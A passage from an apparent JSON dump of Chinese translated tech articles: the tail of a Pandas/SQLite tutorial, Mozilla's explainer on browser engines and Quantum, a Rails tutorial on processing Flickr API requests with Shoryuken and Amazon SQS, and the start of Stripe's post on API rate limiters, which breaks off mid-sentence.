|\n|-----|-------|-----|---------------------|---------------------|--------|-----------|\n| 0   | 0     | 1   | 2016-09-29 00:00:00 | 2016-09-29 12:00:00 | T1     | 1         |\n\n\n## 使用 `Pandas` 修改数据表\n\n对于现实世界中的数据科学来说，最难处理的部分就是那些几乎经常每秒都不停变换着的数据。拿 `aireline` 这个例子来说，我们可能决定在 `airelines` 表中新增加一个 `airplanes` 的属性，它显示出每一个航空公司拥有多少架飞机。幸运的是，在 `SQLite` 中有一个方式能修改表并且添加这些列:\n\n\n\n    cur.execute(\"alter table airlines add column airplanes integer;\")\n\n\n\n请注意，我们不需要调用 `commit` 方法 —— `alter table` 查询指令会被立刻执行，并且不会发生在一个 `transaction` 中。现在，我们能查询并且看到这些额外的列:\n\n\n\n    pd.read_sql_query(\"select * from airlines limit 1;\", conn)\n\n\n\n\n|     | index | id  | name           | alias | iata | icao | callsign | country | active | airplanes |\n|-----|-------|-----|----------------|-------|------|------|----------|---------|--------|-----------|\n| 0   | 0     | 1   | Private flight | \\\\N   | -    | None | None     | None    | Y      | None      |\n\n\n\n你可能注意到了，在 `SQLite` 中所有的列都被设值成了 `null`（在 `Python` 中被转化成了 `None`），因为这些列还没有任何数值。\n\n### 使用 `Pandas` 修改表\n\n也可以使用 `Pandas` 通过把表导出成 `DataFrame` 去修改表格的内容，仅需要对 `DataFrame` 进行修改，之后把这个 `DataFrame` 导出成一个表:\n\n\n\n    df = pd.read_sql(\"select * from daily_flights\", conn)\n    df[\"delay_minutes\"] = None\n    df.to_sql(\"daily_flights\", conn, if_exists=\"replace\")\n\n\n\n以上代码将会对 `daily_flight` 表增加一个叫做 `delay_minutes` 的列项。\n\n## 延伸阅读\n\n你现在应该对在 `SQLite` 数据库中如何使用 `Python` 和 `Pandas` 对数据操作有了一个很好的掌握和认识了。本文包含了查询数据库，更新行数据内容，插入行数据内容，删除行数据内容，创建数据表和修改数据表。这些已经覆盖了主要的 `SQL` 操作内容，这些几乎就是你的日常工作。\n\n如果你想要深入了解，以下是一些补充资料:\n\n*   [sqlite3 在线文档](https://docs.python.org/3/library/sqlite3.html)\n*   [比较 `pandas` 和 `SQL`](http://pandas.pydata.org/pandas-docs/stable/comparison_with_sql.html)\n*   [在线课程 —— `Dataquest SQL`](https://www.dataquest.io/path-step/working-with-data-sources)\n*   [sqlite3 操作指南](http://sebastianraschka.com/Articles/2014_sqlite_in_python_tutorial.html)\n\n如果你想继续自己操作下，你能从 [这里](https://www.dropbox.com/s/a2wax843eniq12g/flights.db?dl=0) 下载到博文中使用的 `flights.db` 文件。\n"
  },
  {
    "path": "TODO/quantum-up-close-what-is-a-browser-engine.md",
    "content": "\n> * 原文地址：[Quantum Up Close: What is a browser engine?](https://hacks.mozilla.org/2017/05/quantum-up-close-what-is-a-browser-engine/)\n> * 原文作者：本文已获得原作者 [Potch](http://potch.me/) 授权\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[吃土小2叉](https://github.com/xunge0613)\n> * 校对者：[AceLeeWinnie](https://github.com/AceLeeWinnie)、[yzgyyang](https://github.com/yzgyyang)、[薛定谔的猫](https://github.com/Aladdin-ADD)\n\n# 解密 Quantum：现代浏览器引擎的构建之道 #\n\n2016 年 10 月，[Mozilla 公布了 Quantum 项目](https://medium.com/mozilla-tech/a-quantum-leap-for-the-web-a3b7174b3c12) —— 倡议开创下一代浏览器引擎。现在这一项目已然步入正轨。实际上，我们在上个月刚更新的 Firefox 53 中[首次包含了 Quantum 的部分核心代码](https://hacks.mozilla.org/2017/04/firefox-53-quantum-compositor-compact-themes-css-masks-and-more/) 。\n\n但是，我们意识到对于那些不从事浏览器开发的人来说（而且是大多数人），很难明白这些改动对于 Firefox 的重大意义。毕竟，许多改动对于用户来说是不可见的。\n\n意识到这点后，我们开始撰写一系列博客文章来深度解读 Quantum 项目正在做什么。我们希望这一系列的文章能够帮助大家理解 Firefox 的工作原理，以及 Firefox 是如何打造一款下一代浏览器引擎，从而更好地利用现代计算机的硬件性能。\n\n作为这系列文章的第一篇，最好还是先说明一下 Quantum 正在改变哪些核心内容。\n\n浏览器引擎**是**什么？它的工作原理又是什么？\n\n那么，就从头开始说起吧。\n\nWeb 浏览器是一种软件，它首先加载文件（通常这些文件来自于远程服务器），然后在本地显示这些文件，并且允许用户交互。\n\nQuantum 是项目的代号，Mozilla 启动这个项目是为了大幅度升级 Firefox 浏览器的某个模块，这个模块决定了浏览器如何根据远程文件将网页显示给用户。这一模块的行业术语叫“浏览器引擎”，如果没有浏览器引擎，用户就只能看看网站源代码而不能浏览网站了。Firefox 的浏览器引擎叫 Gecko。\n\n可以简单地把浏览器引擎看作一个黑盒（有点类似于电视机），灌入数据后由黑盒来决定展示在屏幕上的数据形态。现在的问题是：浏览器引擎是如何呈现页面的？它是通过哪些步骤将数据转化为我们所看见的网页？\n\n[![](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/05/black-box.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/05/black-box.png) \n\n网页数据通常有许多类型，但总的来说可以划分为三大类：\n\n- 用于描述网页**结构**的代码\n- 用于提供**样式**的代码，描述了网页结构的视觉外观\n- 用于控制浏览器行为的**脚本**代码，包括：计算、人机互动以及修改已初始化的网页结构和样式。\n\n浏览器引擎将页面结构和样式结合从而在屏幕上渲染出网页，同时确定可以互动的内容。\n\n这一切要从网页结构说起。浏览器会根据给定的地址去加载一个网站。这个地址指向的是另一台电脑，当它收到访问请求时，会返回网页数据给浏览器。至于这个过程的具体实现可以查阅[这篇文章](https://developer.mozilla.org/en-US/docs/Web/HTTP)，反正最后浏览器拿到网页数据了。这个数据以 HTML 的格式返回，它描述了网页的结构。那么浏览器又是如何读懂 HTML 的呢？\n\n浏览器引擎包含一类称为**解析器**的特殊模块，它将数据从一种格式转换为另一种可以存储在浏览器内存中的格式。举个例子，HTML 解析器拿到了以下 HTML 内容：\n\n```\n<section>\n <h1 class=\"main-title\">Hello!</h1>\n <img src=\"http://example.com/image.png\">\n</section>\n```\n\n于是，解析器开始解析、理解 HTML，下面是解析器的独白：\n\n\n> 嗯，这里有个章节。在这个章节里有个一级标题，这个标题包含的文本内容是 “Hello!”。另外在这个章节中，还有一张图片。这个图片的数据从这里获取：http://example.com/image.png\n\n网页在浏览器内存中的结构被称为[文档对象模型](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model/Introduction)，简称 DOM。DOM 以元素树的形式来表示页面结构，而非长文本形式，包括：每个元素各自的属性以及元素间的嵌套关系。\n\n[![A diagram showing the nesting of HTML elements](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/05/html-diagra.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/05/html-diagra.png)\n\n除了用于描述页面结构，HTML 同样包含指向样式文件和脚本文件的地址。浏览器发现这些后，就开始请求并加载数据。然后浏览器会根据数据的类型，指定相应的解析器来处理。脚本文件可以在 HTML 文件解析的同时，改变页面的结构和样式。而样式规则，CSS， 在浏览器引擎中发挥以下作用。\n\n## 关于样式 ##\n\nCSS 是一门编程语言，开发者可以借助 CSS 描述页面元素的外观。CSS 全称 Cascading Style Sheets （译注：层叠样式表），之所以这样命名是因为多个 CSS 指令可以作用在同一个元素上，后定义的指令可以覆盖之前定义的指令，权重高的指令可以覆盖权重低的指令（这就是层叠的概念）。下面是一些 CSS 代码。\n\n```\nsection {\n  font-size: 15px;\n  color: #333;\n  border: 1px solid blue;\n}\nh1 {\n  font-size: 2em;\n}\n.main-title {\n  font-size: 3em; \n}\nimg {\n  width: 100%;\n}\n\n```\n\n大部分 CSS 代码被分割在称为规则的一个个分组中，每条规则包含两个部分。其中一个部分是选择器，选择器描述了 DOM 中需要应用样式的元素（上文说过，还记得吗？）。另一部分则是一系列样式声明，应用于与选择器匹配的元素。浏览器引擎中包含一个名为样式引擎的子系统，用于接收 CSS 代码，并将 CSS 规则应用到由 HTML 解析器生成的 DOM 中。\n\n[![](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/05/style-engine-1.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/05/style-engine-1.png)\n\n举个例子，在上述 CSS 中，我们有一条规则指定了选择器 “section”，这会匹配到 DOM 中所有 section 元素。接着，浏览器引擎会为 DOM 中的每一个元素附上样式注解。直到最后每个 DOM 元素都应用了样式，我们将该状态称为元素样式计算完毕。而当多个选择器作用在一个元素上时，源代码次序靠后的或者权重更高的 CSS 规则最终会应用到元素上。可以认为样式表是层叠的薄透写纸，上层覆盖下层，但同时也能让下层透过上层显示出来。\n\n一旦浏览器引擎计算好了样式，接下来就要派上用场了！布局引擎接下来会接手 DOM 和已计算的样式，并且会考虑待绘制布局所在的窗口大小。然后布局引擎会分析该元素应用的所有样式，并通过各种算法将每个元素绘制在一个个内容盒子中。\n\n[![](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/05/layout-time.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/05/layout-time.png)\n\n页面布局绘制完毕后，是时候将页面蓝图转化成你所看见的实际页面了。这一步骤称为 painting（绘制），这也是先前所有步骤的最终整合。每个由布局定义的内容盒子都将被绘制，其内容来自 DOM，其样式源自 CSS。最终，从代码一步步重组而成的页面，展现在用户眼中。\n\n以上就是以前的浏览器引擎所做的事情。\n\n当用户滚动页面的时候，浏览器会进行重绘来显示原先在可见窗口外的页面内容。然而，显然用户都喜欢滚动页面！浏览器引擎清楚地意识到自己肯定会被要求展示初始窗口以外的内容（也称视口）。现代浏览器根据这个事实在页面初始化的时候绘制了比视口更多的页面内容。当用户滚动页面的时候，这部分用户想要看的内容早就已经绘制完毕了。这样的好处就是页面滚动变得更快更流畅。这种技术是网页合成的基础，合成是一种减少所需绘制量的技术术语。\n\n另外，我们有时候也需要重绘部分页面内容。比如用户有可能正在观看一个每秒 60 帧的视频。也可能页面上有一个图片轮播或者滚动列表。浏览器能够检测出页面上哪一部分内容将要移动或者更新，并且会为这些更新的内容创建一个新的图层，而非重新渲染整个页面。一个页面可以由多个彼此重叠的图层构成。每个图层都可以改变定位方式、滚动位置、透明度或者在不触发重绘的前提下控制图层的上下位置！相当方便。\n\n有时候一些脚本或者动画会修改元素的样式。这个时候，样式引擎就需要重新计算这个元素的样式（可能页面上许多其他元素也要重新计算），重新计算布局（产生一次回流），然后重绘整个页面。随着计算量的增加，这些操作会耗费很多时间，但只要发生的频率低，那么就不会对用户体验产生负面影响。\n\n在现代 web 应用中，文档结构经常会被脚本改变。而哪怕只是一点小改动，都会或多或少地触发整个渲染流程：HTML 解析成 DOM，样式计算，回流，重绘。\n\n[![](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/05/browser-diagram-full-2.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/05/browser-diagram-full-2.png)\n\n## Web 标准 ##\n\n不同浏览器解释 HTML、CSS 和 JavaScript 的方式也不一样。这就产生了各种影响：小到细微的视觉差异，大到用户无法在某些浏览器上正常浏览网站。近年来在现代互联网中，大多数网站在不同浏览器下似乎都表现的不错，而且也没有关注用户具体使用的是什么浏览器。那么，不同浏览器又是如何达到这种程度的一致性体验呢？\n\n网站代码的格式，以及代码的解释规则、页面的渲染规则都是由一种由多方认可的文件定义的，即 Web 标准。来自浏览器厂商、Web 开发者、设计师等行业成员的代表组成的委员会制定了这些标准文档。他们一起确定了对于给定的代码片段，浏览器引擎应该显示的明确行为。Web 标准包括 [HTML、CSS 和 JavaScript 标准](https://developer.mozilla.org/en-US/docs/Web_Standards)以及图像、视频、音频等数据格式的标准。\n\n为什么说 Web 标准是重要的？因为只要保证遵循了 Web 标准，就可以开发出一个全新的浏览器引擎，这个引擎可以处理互联网上数以亿计的网页，并绘制出和其它浏览器一样的结果。这也意味着在某些浏览器中才能运作的“秘密配方”不再是秘密了（译者注：例如，不再需要 CSS 私有前缀）。另外，正因为 Web 标准的存在，用户可以凭自己的喜好挑选浏览器。\n\n## 摩尔定律的终结 ##\n\n 过去，人们只有台式电脑。曾经有一个相对保守的假设：计算机只会变得更快更强大。这个想法是基于[摩尔定律](https://en.wikipedia.org/wiki/Moore%27s_law)的推测：集成电路上可容纳的元器件的数目，约每隔 2 年便会增加一倍（因此半导体芯片的性能也将提升一倍、体积也将缩小一倍）。令人难以置信的是，这种趋势一直持续到了 21 世纪，并且有人认为这一定律仍然适用于当今最前沿的研究。那么为什么在过去十年中，计算机的平均运算速度似乎已经趋于稳定了？\n\n顾客买电脑的时候不单单考虑运行速度，毕竟速度快的电脑很可能非常耗电、非常容易发热还非常贵！有时候人们想要一台续航时间良好的笔记本电脑。有时候呢，人们又想要一个微型的触屏电脑，带摄像头，又小到可以塞进口袋，并且电量足够用一天！计算能力的进步已经让这成为可能（真的很惊人！），不过代价就是运行速度下降。正如你在飙车的时候无法有效（或者说安全）地控制行车路线，你也无法让电脑超负荷计算的同时处理大量任务。现在的解决方案都是借助于单 CPU 多核。因此，现在智能手机普遍都有 4 个较小、较弱的计算核心。\n\n不幸的是，过去的浏览器设计是基于摩尔定律（性能提升）会继续有效的假设。另外，编写能够充分利用多核 CPU 的代码也是**极为**复杂的。所以，我们该如何在这个到处都是小型计算机的时代，开发一款高速又高效的浏览器呢？\n\n我们已经想到了！\n\n在接下来的几个月中，我们将更进一步关注 Firefox 的变化，以及这些变化将如何更好地利用现代硬件来实现[一个更快更稳定的浏览器](https://www.mozilla.org/en-US/firefox/developer/)，从而让网站更加多姿多彩。\n\n皮皮虾，我们走！ \n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/quickly-process-api-requests-with-shoryuken-and-sqs.md",
    "content": "> * 原文链接: [利用 Shoryuken and SQS 快速处理 API 请求](https://www.sitepoint.com/quickly-process-api-requests-with-shoryuken-and-sqs/)\n* 原文作者: [William Kennedy](https://www.sitepoint.com/author/wkennedy/)\n* 译文出自: [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者: [circlelove](https://github.com/circlelove)\n* 校对者: [rccoder](https://github.com/rccoder), [MAYDAY1993](https://github.com/MAYDAY1993)\n\n# 利用 Shoryuken and SQS 快速处理 API 请求\n\n![](https://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2016/07/1468165009amazon-sqs_512-300x300.png)\n\nRails 为后台工作提供了相当多的解决方案。其中一个就是被称为 Sidkiq 的智能 Gem， [我们之前在 Sitepoint 上提到过](https://www.sitepoint.com/comparing-background-processing-libraries-sidekiq/)。\n\n\nSidekiq 相当棒，能解决大多数开发中的问题。尤其是 Rails 繁重问题上相当有用。然而，它也有一些不足。\n\n\n\n*   如果你不是专业版用户（每年支付750美元），而你的进程崩溃的话，将会丢失你的工作 \n*   如果你的工作量增加，你需要更强大版本的 Redis ，而它耗费更多的成本和资源。\n*   为了监控你工作上发生的一切，你需要把握它的控制面板。\n\n\n想要解决排队任务的你需要考虑的另一种方法是 [Shoryuken](https://github.com/phstc/shoryuken) ，它和亚马逊的 SQS (Simple Queue Service)协同工作。这是一个基本消息存储，之后你可以通过 Shoryukeσn workers 进行处理。这些 workers 之后在主 Rails 进程外部工作。有了 SQS 和 Shoryuken，你可以为 workers 创建队列利用 workers 循环任务直到队列空闲。\n\n使用 Shoryuken 有以下好处：\n\n*   他是以 Amazon SQS 构建的，难以置信的便宜（每一百万次 Amazon SQS Requests 只要0.5美元）。\n*   SQS 是用来规模化作业的。利用亚马逊这个令人惊喜的基础配置，你可以轻松地简化你的 workers 。\n*   亚马逊提供了一个简单的控制台来查看队列以及配置死消息的情况。\n*   亚马逊的 Ruby SDK 在创建队列的时候十分灵活。如果你愿意可以创建很多队列。\n\n本文档中，我会带你来配置带有 Flickr API 的 Shoryuken 。你将见证 Shoryuken 如何在后台光速处理任务。\n\n为了开始这个教程，我们将用 Flickr API 来创建一个简单的搜索框，这样就可以根据 id 输入来生成照片。\n\n1.  首先，我们需要[设置雅虎账户](https://help.yahoo.com/kb/SLN2056.html)，因为这是我们可以访问 Flickr API 唯一的方式。配好雅虎账户之后，简单地查看一下[Flickr 文档页面](https://www.flickr.com/services/api/)。\n\n2.  在 [Flickr 文档](https://www.flickr.com/services/api/) 页面单击[创建一个应用](https://www.flickr.com/services/apps/create/) 链接。\n \n3.  在 [Flickr.com](https://www.flickr.com/services/apps/create/noncommercial/) 申请一个非商业密钥。\n\n4.  下一个页面当中，你会被要求输入项目的具体信息，简单地填入项目名称和事项等即可。\n\n5.  你会收到应用的密钥和密码。把他们写在某个地方，因为这个教程当中需要用到。\n\n接下来，搭建一个单控制器行为的 Rails app 。要生成新的 Rails app，利用如下命令行生成：\n\n```\nrails new shoryuken_flickr\n\n```\n\n下一步，配置控制器。带有`index`行为的控制器行为是完美的：\n\n```\nrails g controller Search index\n\n```\n\n在**config/routes.rb** 里添加一个根路径到这个操作上：\n\n```\nroot  'search#index'\n\n```\n\n在索引页，设置一个简单的搜索框：\n```\n<%= form_tag(\"/\", method: \"get\") do %>\n  <%= text_field_tag(:flickr_id) %>\n  <%= submit_tag(\"Search\") %>\n<% end %>\n\n```\n\n我们必须配置 Flickr 模块来返回用户提交 id 的照片：\n\n1.  首先，我们得安装[ flickr_fu ] (https://github.com/commonthread/flickr_fu)，这样更容易抓取我们需要的数据。\n2.  利用相关凭证配置 **flickr.yml** 文件。这个文件在 **config** 文件夹里作业，看起来是这样的：\n\n    ```\n    key: <%= ENV[\"flickr<em>key\"] %>\n    secret: <%= ENV[\"flickr</em>secret\"] %>\n    token_cache: \"token_cache.yml\n\n    ```\n\n3.  现在我们可以为目录页创建一个 helper 方法来返回照片。在 **app/helpers/search_helper.rb** 添加如下内容：\n\n    ```\n    module SearchHelper\n      def user_photos(user_id, photo_count = 5)\n        flickr = Flickr.new(File.join(Rails.root, 'config','flickr.yml'))\n        flickr.photos.search(:user_id => user_id).values_at(0..(photo_count - 1))\n      end\n    end\n\n    ```\n\n基于提供的用户 id 这种方法可以返回照片。在 **app/controllers/search_controller.rb** ，需要一个操作来抓取数据：\n\n```\n  class SearchController < ApplicationController\n    def index\n      if params[:flickr_id]\n        @photos = user_photos(params[:flickr_id],10).in_groups_of(2)\n        @id = params[:flickr_id]\n      end\n    end\n  end\n\n```\n\n现在，只要创建一个小的片段来生成照片。在 **app/views/search** 里通过如下代码添加一个 **photos.html.erb** 文件：\n\n```\n  <ul>\n    <% @photos.each do |photo| %>\n      <li> <% photo.each do |p| %>\n      <%= link_to(image_tag(p.url(:square), :title => p.title, :border => 0, :size => '375x375'), p.url_photopage) %>\n      </li>\n    <% end %>\n  <% end %>\n  </ul>\n\n```\n\nFlickr id 就呈现在 URL 的用户配置里。以 `138578671@N04` 这个 ID 为例，如果你在表单里提交了有效值，就会返回一系列照片。\n\n现在我们有了一个从 Flickr 获取新照片的应用。这很棒，但是对用户来说这还很慢，而且每次搜需要刷新整个页面。\n\n\n我认为加上一点 AJAX 这个应用会更完善，在 **app/views/search**  创建 **index.js.erb** 视图，并添加一些 Javascript 的内容：\n\n```\n$('ul').remove();\n$('#flickr').append(\"<%= j render 'photos'%>\").html_safe();\n\n```\n\n控制器当中，要保证我们对代码阻塞有  `响应 `\n```\nclass SearchController < ApplicationController\n  def index\n    if params[:flickr_id]\n      @photos = user_photos(params[:flickr_id],10).in_groups_of(2)\n      @id = params[:flickr_id]\n    end\n    respond_to |format|\n      format.html\n      format.js\n    end\n  end\nend\n\n```\n\n最后，每个搜索表单中，设置 `remote` 为 `ture`:\n```\n<br/>\n  <%= form_tag(\"/\", method: \"get\", :remote => true) do %>\n  <%= text_field_tag(:flickr_id) %>\n  <%= submit_tag(\"Search\") %> <% end %>\n<br/>\n\n```\n\n好，这很酷，但是我们还没有用到 Shroyuken 。进程还是单线程的。\n\n##配置 Shoryuken\n\n如果你还没有 [Amazon Web Services (AWS)](https://aws.amazon.com) 账户，你需要创建一个。按照：\n\n1.  点击“我的账户”下拉菜单，然后单击“AWS 控制台”。\n2.  登录之后就进入了控制台。\n3.  在右上方，单击菜单栏中的用户名，然后单击“安全验证”。\n4.  现在你被带到一个页面里，你可以获取访问密钥的 id 和密码。  \n5.  点击“创建新的访问密钥”得到你的访问密钥 ID 和密码。你需要这些来运行 Shoryuken 和 SQS。\n\n这样我们有了 AWS 的访问密钥，下一步就是安装和配置相关的 gem 。添加如下代码到你的 Gemfile里来安装带有相关细节的 AWS SDK 。\n\n```\ngem 'aws-sdk', '~> 2'\n\n```\n\n\n之后，`bundle install`。\n\n我们需要利用相关证书配置 AWS SDK。完成通常创建一个叫**aws.rb** 的文件，放在 **config/initializers** 文件夹里面。\n\n```\ntouch config/initializers/aws.rb\n\n```\n\n在文件中添加以下代码：\n\n```\nAws.config.update({ \n  region:      \"eu-west-1\",\n  credentials: Aws::Credentials.new(your_access_key, your_secret_key)\n})\n\nsqs = Aws::SQS::Client.new(\n  region:      \"eu-west-1\",\n  credentials: Aws::Credentials.new(your_access_key, your_secret_key)\n)\nsqs.create_queue({queue_name: 'default'})\n\n```\n\n确保用你的实际证书替代原证书\n\n如果我们查看 SQS 控制台，会发现重启 Rails 服务器之后会出现新的队列。\n\n![SQS QUEUE](http://i.imgur.com/qG23zqp.png?2)\n\n\n最后，到了安装 Shoryuken gem 的时候了。在我们的 Gemfile 里：\n\n```\ngem 'shoryuken'\n\n```\n\n\n创建 Shoryuken worker 和其他中间件。我只是创建了在 **apps**  下创建了一个新的名叫 **workers** 的目录：\n\n```\nmkdir app/workers\ntouch app/workers/flickr_worker.rb\ntouch app/workers/flickr_middleware.rb\ntouch config/shoryuken.yml\n\n```\n\n\n配置 Flickr 中间件：\n```\nclass FlickrMiddleware\n  def call(worker_instance, queue, sqs_msg, body)\n    puts 'Before work'\n    yield\n    puts 'After work'\n  end\nend\n\n```\n\n\n配置 worker ：\n\n```\nclass MyWorker\n  include Shoryuken::Worker\n  shoryuken_options queue: QUEUE_NAME, auto_delete: true, body_parser: JSON\n\n  def perform(sqs_msg, body)\n    id = body.fetch('id')\n    flickr = Flickr.new({\n      key:\"your_key\",\n      secret:\"your_secret\",\n      token_cache:\"token_cache.yml\"\n    })\n    flickr.photos.search(:user_id => id).values_at(0..(5 - 1))\n  end\n end\n\n```\n\n\n同时也需要按如下方式配置我们的 **config/shoryuken.yml**  文件：\n\n```\n\naws:\n  access_key_id: 'AWS_KEY'\n  receive_message:\n    attribute_names:\n    - ApproximateReceiveCount\n    - SentTimestamp\n  region: eu-west-1\n  secret_access_key: 'AWS Secret Key'\n  concurrency: 25\n  delay: 0\n  queues:\n    - [default, 6]\n\n```\n\n\n完美! 我们差不多配置好了所有的东西准备开始了。只剩下了给队列发送消息了。在搜索控制器上，写入如下代码：\n\n```\n  class SearchController < ApplicationController\n    include SearchHelper\n\n    def index\n      # 138578671@N04 submit this in the form\n      if params[:flickr_id]\n        FlickrWorker.perform_async(\"id\" => params[:flickr_id])\n        sleep 0.1\n        @photos = Photo.find_by_user_id(params[:flickr_id]).photos\n      end\n      respond_to do |format|\n        format.html\n        format.js\n      end\n    end\n  end\n\n```\n\n\n现在我们刚刚提交了另一个消息。这时候，你应该看到它显示在 SQS 控制台上。你也许需要单击刷新 SQS 控制台，按钮在屏幕右上方。\n\n你应该可以看到队列的一条消息，不过由于某种原因还没有被处理。最好梳理一下。打开另一个终端窗口浏览你的项目。当你进入的时候，必须运行如下命令：\n\n```\nbundle exec shoryuken -R -C config/shoryuken.yml\n\n```\n\n\n现在你应该能看到 worker 在清理队列了。当你返回 app 的时候，你或许可以看到一个报错。记住， Shoryuken 在后台运行所以无法为当前进程创建实例变量。你可以把照片保存在数据库中，得到结果之后再提交表单。\n\n```\nrails g model Photo user_id:string photos:string\n\n```\n\n\n现在我们检查一下迁移文件并确认添加了正确的字段。在 **db/migrate** 中打开迁移文件\n```\nclass CreatePhotos < ActiveRecord::Migration\n  def change\n    create_table :photos do |t|\n      t.string :user_id\n      t.string :photos\n\n      t.timestamps null: false\n    end\n  end\nend\n\n```\n\n\n如果一切都没有问题的话，我们就可以迁移数据库了。\n\n```\nrake db:migrate\n\n```\n\n\n确认序列化数据库返回的数组。在 **app/models/photos.rb** 当中：\n\n```\nclass Photo < ActiveRecord::Base\n  serialize :photos\nend\n\n```\n\n\n之后每次 worker 工作的时候就更新一次表单。在 `SearchHelper#user_photos` 方法下方添加一行将照片写入数据库：\n\n```\nphotos = flickr.photos.search(:user_id => id).values_at(0..(5 - 1))\nPhoto.create(:user_id => id, :photos => [photos])\n\n```\n\n\n为了查看它工作的情况，给控制器操作添加一个延迟让数据库得以更新。现实当中，我建议使用 AJAX 这个更优雅的方案。\n\n```\nsleep 1.5\n\n```\n\n\n那么你就完成了。你现在了解了如何利用一些很赞的库来处理带有 Shoryuken 的工作。尽管这个例子还不太自然，用它演示了如何使用带有 SQS 的 Shoryuken。 相信至少你学到了一个利用队列消息的案例。\n\n\n\n"
  },
  {
    "path": "TODO/rate-limiters.md",
    "content": "> * 原文地址：[Scaling your API with rate limiters](https://stripe.com/blog/rate-limiters)\n> * 原文作者：[Paul Tarjan](https://stripe.com/about#pt)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：\n> * 校对者：[xiaoyusilen](https://github.com/xiaoyusilen), [GangsterHyj](https://github.com/GangsterHyj)\n\n# [使用速率限制扩展你的 API](/blog/rate-limiters) #\n\n\n可用性和可靠性对于所有 web 应用和 API 来说都是至关重要的。如果你是一个 API 提供者，那么可能你遇到过未预见的影响你服务质量的流量增长，甚至会导致你的服务中断。\n\n这种现象最初发生时，在基础设施中增加容量以承载用户增长是一种合理的解决方式。但是，对于运行在生产环境的 API，不仅要使用类似[idempotency](/blog/idempotency)的技术以确保健壮性，还需要为扩展建立基础，并保证一个异常用户不论是否故意都无法影响服务的可利用性。\n\n下面这些情况中，速率限制可以让你的 API 更可靠：\n\n- 一个用户导致流量达到峰值，而你还有其他用户，不能挂掉。\n- 一个用户使用异常的脚本，意外地发送了许多请求。或者，更糟的情况下，一个用户故意想要压垮你的服务器。\n- 一个用户发送了许多低优先级的请求，你需要保证它们不会影响到高优先级的流量。比如，一个用户对分析数据的大量请求可能影响到其他用户的关键事务。\n- 系统内部发生一些问题，不能为所有正常请求提供服务，需要放弃一些低优先级的请求。\n\n\n在 Stripe，我们发现一些精心实现的[速率限制](https://en.wikipedia.org/wiki/Rate_limiting)策略有助于保证 API 对所有用户的可利用性。在这篇文章中，我们会解释我们所发现的最有效的速率限制策略，怎样提高一部分 API 请求的优先级，以及怎么在没有影响到现有用户的工作流的情况下，开始安全地使用速率限制的。\n\n## 速率限制与减载\n\n速率限制器可以控制在网络上发送或接收数据的比率。什么时候可以使用速率限制器呢？如果在用户向你的 API 端点发送请求的频率被改变的情况下，用户请求的结果不会受到影响。那么在这种情况下是适合使用速率限制器的。如果在单位时间间隔内限制请求频率是不可行的（通常对于实时事件而言），那么你需要使用本文范围以外的其他策略（大多数时候你只是需要给基础设施中增加容量）。\n\n我们的用户可以发送很多请求：例如，支付的批处理会给我们的 API 造成持续的流量。我们发现客户端总是可以（除了某些极端少见的情况）分散请求，以保证不会受到我们速率限制的影响。\n\n速率限制器对于日常的操作来说很有用，但是当意外发生时（例如，服务比延迟比平时大），我们有时需要放弃低优先级的请求，以保证更重要的请求被及时处理。这个过程叫做*减载*。这并不会经常发生，但对于保持 Stripe 的可利用性很重要。\n\n减载器是基于整个系统的状态，而不是发出请求的用户来做决策的。减载器能帮助你处理紧急情况，因为当系统其他部分出问题的时候，它会保持你的业务核心稳定运行。\n\n\n## 协调使用不同种类的速率限制器\n\n当你知道速率限制器可以提高你的 API 的可靠性之后，你需要决定哪一种最符合你的需要。\n\n在 Stripe，我们在生产环境使用 4 种不同的限制器。第一种，*请求速率限制（Request Rate Limiter）*，是最重要的。如果你想提高你的 API 的健壮性，我们建议你从这一种开始。\n\n### 请求速率限制（Request Rate Limiter）\n\n这种速率限制限定了每个用户每秒最多 *N* 个请求。在有效的管理高流量这个问题上，请求速率限制器是大多数API用于有效管理高流量的首选工具。\n\n我们对于请求的速率限制一直处于被触发的状态。仅仅这一个月，它就拒绝了多达百万的请求，其中主要是用户漫不经心地运行脚本发出的测试模式请求。\n\n在测试和实时模式，我们的 API 提供了相同的速率限制行为。这会给开发者带来更好的体验：脚本从开发环境迁移到生产环境的过程中，不会遇到因为特定的速率限制而产生的问题。\n\n在分析了我们的流量模式之后，我们对实时事件（比如：秒杀活动）加入了一项新能力，在突然的使用高峰到来时，暂时性地允许流量超过限制。\n\n![](https://stripe.com/img/blog/posts/rate-limiters/1-request-rate-limiter.svg)\n\n请求速率限制限定了用户每秒钟可以发送的最大请求数。\n\n### 并发请求限制\n\n这种速率限制不会有“你每一秒钟最多可以使用我们的 API 1000 次”这种限制，而是使用“你最多只能同时有 20 